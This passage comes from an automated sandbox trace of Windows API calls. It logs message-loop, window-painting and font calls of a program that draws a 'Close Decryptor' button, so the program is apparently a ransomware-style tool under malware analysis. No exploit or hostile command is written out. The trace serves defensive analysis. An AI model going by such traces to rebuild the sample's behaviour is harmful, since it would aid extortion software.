lpPaint=0x19e8c8) returned 1 [0176.766] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0176.766] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0176.769] WaitMessage () returned 1 [0176.911] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.912] IsWindowUnicode (hWnd=0xa0052) returned 1 [0176.912] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.912] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.912] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.912] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.912] IsWindowUnicode (hWnd=0xa004a) returned 1 [0176.912] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.912] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.912] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.912] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.912] IsWindowUnicode (hWnd=0x1023e) returned 1 [0176.912] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.912] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.912] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.912] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x320, wParam=0xe3006fc7, lParam=0x1) returned 0x0 [0176.913] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.913] IsWindowUnicode (hWnd=0x10240) returned 1 [0176.913] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.913] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.913] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.913] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x320, wParam=0xe3006fc7, lParam=0x1) returned 0x0 [0176.913] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.913] IsWindowUnicode (hWnd=0x20232) returned 1 [0176.913] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.913] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.913] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.913] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.913] IsWindowUnicode (hWnd=0x70030) returned 1 [0176.913] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.913] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.913] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.914] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x320, wParam=0xe3006fc7, lParam=0x1) returned 0x0 [0176.914] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0176.914] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0176.914] WaitMessage () returned 1 [0176.927] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.927] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0176.927] IsWindowUnicode (hWnd=0x30212) returned 1 [0176.927] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.927] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0176.927] SetCursor (hCursor=0x10003) returned 0x10003 [0176.927] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.927] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.927] GetKeyState (nVirtKey=1) returned 0 [0176.927] GetKeyState (nVirtKey=2) returned 0 [0176.927] GetKeyState (nVirtKey=4) returned 0 [0176.928] GetKeyState (nVirtKey=5) returned 0 [0176.928] GetKeyState (nVirtKey=6) returned 0 [0176.928] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0176.928] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0176.928] WaitMessage () returned 1 [0177.020] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.020] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.020] IsWindowUnicode (hWnd=0x30212) returned 1 [0177.021] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.021] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.021] SetCursor (hCursor=0x10003) returned 0x10003 [0177.021] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.021] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.021] GetKeyState (nVirtKey=1) returned 0 [0177.021] GetKeyState (nVirtKey=2) returned 0 [0177.021] GetKeyState (nVirtKey=4) returned 0 [0177.021] GetKeyState (nVirtKey=5) returned 0 [0177.021] GetKeyState (nVirtKey=6) returned 0 [0177.021] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0177.021] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0177.021] WaitMessage () returned 1 [0177.195] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.195] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.195] IsWindowUnicode (hWnd=0x30212) returned 1 [0177.195] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.195] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.196] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0177.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x1710082) returned 0x0 [0177.196] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0177.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1d00082) returned 0x0 [0177.196] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0177.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0177.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0177.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19eda4) returned 0x0 [0177.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x46, wParam=0x0, lParam=0x19eda4) returned 0x0 [0177.197] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19ead0 | out: lpwndpl=0x19ead0) returned 1 [0177.197] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x47, wParam=0x0, lParam=0x19eda4) returned 0x0 [0177.198] GetClientRect (in: hWnd=0x1023e, lpRect=0x19ea80 | out: lpRect=0x19ea80) returned 1 [0177.198] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19ea80 | out: lpRect=0x19ea80) returned 1 [0177.198] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x47, wParam=0x0, lParam=0x19eda4) returned 0x0 [0177.198] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0177.198] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0177.199] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0177.199] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0177.199] GetFocus () returned 0x0 [0177.199] SetFocus (hWnd=0x30212) returned 0x0 [0177.201] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0177.202] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0177.202] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0177.203] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0177.203] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0177.203] GetStockObject (i=5) returned 0x900015 [0177.203] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xf [0177.203] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0x10, lParam=0xf74268) returned 0xf [0177.203] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0177.203] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e404) returned 0x0 [0177.203] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e404) returned 0x0 [0177.207] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0177.210] SetCursor (hCursor=0x10003) returned 0x10003 [0177.210] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.210] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.210] GetKeyState (nVirtKey=1) returned -127 [0177.210] GetKeyState (nVirtKey=2) returned 0 [0177.210] GetKeyState (nVirtKey=4) returned 0 [0177.210] GetKeyState (nVirtKey=5) returned 0 [0177.210] GetKeyState (nVirtKey=6) returned 0 [0177.210] IsWindowVisible (hWnd=0x30212) returned 1 [0177.210] IsWindowEnabled (hWnd=0x30212) returned 1 [0177.211] SetFocus (hWnd=0x30212) returned 0x30212 [0177.211] GetFocus () returned 0x30212 [0177.211] GetFocus () returned 0x30212 [0177.211] GetFocus () returned 0x30212 [0177.211] GetKeyState (nVirtKey=1) returned -127 [0177.211] GetKeyState (nVirtKey=2) returned 0 [0177.211] GetKeyState (nVirtKey=4) returned 0 [0177.211] GetKeyState (nVirtKey=5) returned 0 [0177.211] GetKeyState (nVirtKey=6) returned 0 [0177.211] GetCapture () returned 0x0 [0177.211] SetCapture (hWnd=0x30212) returned 0x0 [0177.211] GetKeyState (nVirtKey=1) returned -127 [0177.211] GetKeyState (nVirtKey=2) returned 0 [0177.211] GetKeyState (nVirtKey=4) returned 0 [0177.211] GetKeyState (nVirtKey=5) returned 0 [0177.211] GetKeyState (nVirtKey=6) returned 0 [0177.211] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0177.211] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0177.212] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.212] IsWindowUnicode (hWnd=0x30212) returned 1 [0177.212] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.212] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.212] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.212] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3090384, cPoints=0x1 | out: lpPoints=0x3090384) returned 36176186 [0177.212] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0177.212] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0177.212] UpdateWindow (hWnd=0x30212) returned 1 [0177.212] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x10105d6 [0177.212] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0177.212] CreateCompatibleDC (hdc=0x10105d6) returned 0xd010766 [0177.213] SelectObject (hdc=0xd010766, h=0x8050721) returned 0x85000f [0177.213] GdipCreateFromHDC (hdc=0xd010766, graphics=0x19e570) returned 0x0 [0177.213] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0177.213] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0177.213] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0177.213] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6923a80) returned 0x0 [0177.213] GdipIsMatrixIdentity (matrix=0x6923a80, result=0x19e5d0) returned 0x0 [0177.213] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0177.213] GdipGetMatrixElements (matrix=0x6923a80, matrixOut=0xf75bb0) returned 0x0 [0177.213] LocalFree (hMem=0xf75bb0) returned 0x0 [0177.213] GdipDeleteMatrix (matrix=0x6923a80) returned 0x0 [0177.213] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0177.213] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0177.213] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e5c4) returned 0x0 [0177.213] GdipSaveGraphics (graphics=0x6926780, state=0x19e5f0) returned 0x0 [0177.213] GdipRestoreGraphics (graphics=0x6926780, state=0xfcca0dbd) returned 0x0 [0177.213] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0177.214] GdipGetDC (graphics=0x6926780, hdc=0x19e3a0) returned 0x0 [0177.214] GetCurrentObject (hdc=0xd010766, type=0x1) returned 0xb00017 [0177.214] GetCurrentObject (hdc=0xd010766, type=0x2) returned 0x900010 [0177.214] GetCurrentObject (hdc=0xd010766, type=0x7) returned 0x8050721 [0177.214] GetCurrentObject (hdc=0xd010766, type=0x6) returned 0x8a01c2 [0177.214] SaveDC (hdc=0xd010766) returned 1 [0177.214] GetNearestColor (hdc=0xd010766, color=0x323533) returned 0x323533 [0177.214] GetNearestColor (hdc=0xd010766, color=0x111111) returned 0x111111 [0177.214] GetNearestColor (hdc=0xd010766, color=0x0) returned 0x0 [0177.214] GetNearestColor (hdc=0xd010766, color=0x868c88) returned 0x868c88 [0177.214] GetNearestColor (hdc=0xd010766, color=0x6994f5) returned 0x6994f5 [0177.214] GetNearestColor (hdc=0xd010766, color=0x969c98) returned 0x969c98 [0177.214] GetNearestColor (hdc=0xd010766, color=0x868c88) returned 0x868c88 [0177.214] GetNearestColor (hdc=0xd010766, color=0x3c3f3d) returned 0x3c3f3d [0177.214] GetNearestColor (hdc=0xd010766, color=0x6994f5) returned 0x6994f5 [0177.214] RestoreDC (hdc=0xd010766, nSavedDC=-1) returned 1 [0177.215] GdipReleaseDC (graphics=0x6926780, hdc=0xd010766) returned 0x0 [0177.215] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x4f0a0711 [0177.215] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e25c, format=0x102415, lpdtp=0x3090870 | out: lpchText="Close Decryptor", lprc=0x19e25c) returned 60 [0177.215] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0177.215] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0177.215] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0177.215] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0177.215] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e2fc) returned 0x0 [0177.215] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0177.215] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0177.215] LocalFree (hMem=0xf75be8) returned 0x0 [0177.216] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0177.216] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0177.216] LocalFree (hMem=0xf75bb0) returned 0x0 [0177.216] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0177.216] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e324) returned 0x0 [0177.216] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e314) returned 0x0 [0177.216] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e314) returned 0x0 [0177.216] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0177.216] GdipGetDC (graphics=0x6926780, hdc=0x19e32c) returned 0x0 [0177.216] GetCurrentObject (hdc=0xd010766, type=0x1) returned 0xb00017 [0177.216] GetCurrentObject (hdc=0xd010766, type=0x2) returned 0x900010 [0177.216] GetCurrentObject (hdc=0xd010766, type=0x7) returned 0x8050721 [0177.216] GetCurrentObject (hdc=0xd010766, type=0x6) returned 0x8a01c2 [0177.216] SaveDC (hdc=0xd010766) returned 1 [0177.217] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7304070e [0177.217] GetClipRgn (hdc=0xd010766, hrgn=0x7304070e) returned 0 [0177.217] SelectClipRgn (hdc=0xd010766, hrgn=0x3c0406fe) returned 2 [0177.217] DeleteObject (ho=0x7304070e) returned 1 [0177.217] DeleteObject (ho=0x3c0406fe) returned 1 [0177.217] OffsetViewportOrgEx (in: hdc=0xd010766, x=0, y=0, lppt=0x3090a60 | out: lppt=0x3090a60) returned 1 [0177.217] GetNearestColor (hdc=0xd010766, color=0x3c3f3d) returned 0x3c3f3d [0177.217] CreateSolidBrush (color=0x3c3f3d) returned 0x7f10073a [0177.217] FillRect (hDC=0xd010766, lprc=0x19e330, hbr=0x7f10073a) returned 1 [0177.217] DeleteObject (ho=0x7f10073a) returned 1 [0177.217] RestoreDC (hdc=0xd010766, nSavedDC=-1) returned 1 [0177.217] GdipReleaseDC (graphics=0x6926780, hdc=0xd010766) returned 0x0 [0177.218] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e3a8) returned 0x0 [0177.218] GdipGetDC (graphics=0x6926780, hdc=0x19e394) returned 0x0 [0177.218] GetCurrentObject (hdc=0xd010766, type=0x1) returned 0xb00017 [0177.218] GetCurrentObject (hdc=0xd010766, type=0x2) returned 0x900010 [0177.218] GetCurrentObject (hdc=0xd010766, type=0x7) returned 0x8050721 [0177.218] GetCurrentObject (hdc=0xd010766, type=0x6) returned 0x8a01c2 [0177.219] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0177.219] SelectObject (hdc=0xd010766, h=0x110a0722) returned 0x8a01c2 [0177.219] GetBkMode (hdc=0xd010766) returned 2 [0177.219] SetBkMode (hdc=0xd010766, mode=1) returned 2 [0177.220] DrawTextExW (in: hdc=0xd010766, lpchText="Close Decryptor", cchText=15, lprc=0x19e1c4, format=0x102415, lpdtp=0x3090d1c | out: lpchText="Close Decryptor", lprc=0x19e1c4) returned 60 [0177.220] DrawTextExW (in: hdc=0xd010766, lpchText="Close Decryptor", cchText=15, lprc=0x19e328, format=0x102015, lpdtp=0x3090d1c | out: lpchText="Close Decryptor", lprc=0x19e328) returned 60 [0177.221] RestoreDC (hdc=0xd010766, nSavedDC=-1) returned 1 [0177.221] GdipReleaseDC (graphics=0x6926780, hdc=0xd010766) returned 0x0 [0177.221] GetFocus () returned 0x30212 [0177.221] GetFocus () returned 0x30212 [0177.221] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0177.221] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0177.221] GdipDeletePen (pen=0x6915e78) returned 0x0 [0177.221] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0177.221] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0177.221] GdipDeletePen (pen=0x6915e78) returned 0x0 [0177.221] GdipGetDC (graphics=0x6926780, hdc=0x19e5b0) returned 0x0 [0177.222] GdipReleaseDC (graphics=0x6926780, hdc=0xd010766) returned 0x0 [0177.222] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0177.222] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0177.222] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3090da0, cPoints=0x1 | out: lpPoints=0x3090da0) returned 36176186 [0177.222] WindowFromPoint (Point=0x1b3) returned 0x30212 [0177.222] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.222] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0177.222] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0177.256] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0177.257] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.257] AdjustWindowRectEx (in: lpRect=0x19e91c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19e91c) returned 1 [0177.258] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.258] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0177.258] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.258] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0177.259] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.259] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0177.259] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.259] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0177.259] GetDC (hWnd=0x0) returned 0x1e0106e1 [0177.259] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e340) returned 0x0 [0177.260] GdipGetFontHeight (font=0x57fef48, graphics=0x6926780, height=0x19e338) returned 0x0 [0177.260] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0177.260] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0177.260] GetSystemMetrics (nIndex=5) returned 1 [0177.260] GetSystemMetrics (nIndex=6) returned 1 [0177.260] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.261] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0177.261] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.261] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0177.261] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.261] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e468) returned 1 [0177.262] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.262] AdjustWindowRectEx (in: lpRect=0x19e470, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e470) returned 1 [0177.262] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.262] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0177.262] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.262] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0177.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.263] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0177.263] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0177.263] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x2f01074) returned 0x0 [0177.263] GdipGetFontSize (font=0x691cc48, size=0x2f01078) returned 0x0 [0177.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.263] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.264] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.264] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.264] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0177.264] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x2f012e8) returned 0x0 [0177.264] GdipGetFontSize (font=0x691cb58, size=0x2f012ec) returned 0x0 [0177.264] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.264] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.265] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.265] AdjustWindowRectEx (in: lpRect=0x19e3b8, 